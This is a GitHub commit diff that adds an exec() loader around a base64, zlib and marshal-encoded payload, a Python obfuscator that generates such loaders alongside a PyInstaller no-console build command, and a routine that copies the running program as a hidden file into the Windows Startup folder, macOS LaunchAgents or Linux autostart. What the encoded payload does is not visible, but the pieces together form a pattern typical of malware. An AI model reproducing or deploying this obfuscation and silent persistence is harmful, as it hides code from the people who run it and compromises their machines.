Add files via upload

This commit is contained in:
Sirkeira
2025-12-02 13:15:42 -03:00
committed by GitHub
parent 73e18c2b67
commit aad3956fc2
4 changed files with 88 additions and 0 deletions
+8
View File
@@ -0,0 +1,8 @@
import base64, marshal
import zlib
a='eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs='
b=base64.b64decode(a)
b=zlib.decompress(b)
c=marshal.loads(b)
exec(c)
+52
View File
@@ -0,0 +1,52 @@
# pyinstaller --onefile --noconsole --icon=app.ico --add-data "config.json;." main.py
import argparse
import base64
import marshal
import zlib
import sys
from pathlib import Path
LOADER_TEMPLATE = '''
import base64, marshal
{decompress_import}
a={b64!s}
b=base64.b64decode(a)
{maybe_decompress}
c=marshal.loads(b)
exec(c)
'''
def obfuscate_file(input_path: Path, output_path: Path, compress: bool = False):
src = input_path.read_text(encoding="utf-8")
code_obj = compile(src, str(input_path), "exec")
data = marshal.dumps(code_obj)
if compress:
data = zlib.compress(data)
b64 = base64.b64encode(data).decode("ascii")
loader = LOADER_TEMPLATE.format(
b64=repr(b64),
decompress_import="import zlib" if compress else "",
maybe_decompress="b=zlib.decompress(b)" if compress else ""
)
output_path.write_text(loader, encoding="utf-8")
print(f"Ofuscado gerado: {output_path} (compress={compress})")
def main():
p = argparse.ArgumentParser(description="Ofusca um arquivo .py usando marshal+base64 (opção zlib).")
p.add_argument("input", help="Arquivo .py de entrada")
p.add_argument("-o", "--output", help="Arquivo .py de saída (padrão: ofuscado_<input>)")
p.add_argument("--compress", action="store_true", help="Aplicar zlib.compress antes do base64 (recomendado)")
args = p.parse_args()
inp = Path(args.input)
if not inp.exists():
print("Arquivo de entrada não encontrado:", inp, file=sys.stderr)
sys.exit(2)
out = Path(args.output) if args.output else inp.with_name(f"ofuscado_{inp.name}")
obfuscate_file(inp, out, compress=args.compress)
if __name__ == "__main__":
main()
+28
View File
@@ -0,0 +1,28 @@
def _startup():
startup = False
try:
file_path = os.path.abspath(sys.argv[0])
if file_path.endswith(".exe"):
ext = "exe"
elif file_path.endswith(".py"):
ext = "py"
new_name = f".{ext}"
if sys.platform.startswith('win'):
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
elif sys.platform.startswith('darwin'):
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
elif sys.platform.startswith('linux'):
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
path_new_file = os.path.join(folder, new_name)
shutil.copy(file_path, path_new_file)
os.chmod(path_new_file, 0o777)
return startup
except:
startup = False
pass
return startup
Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB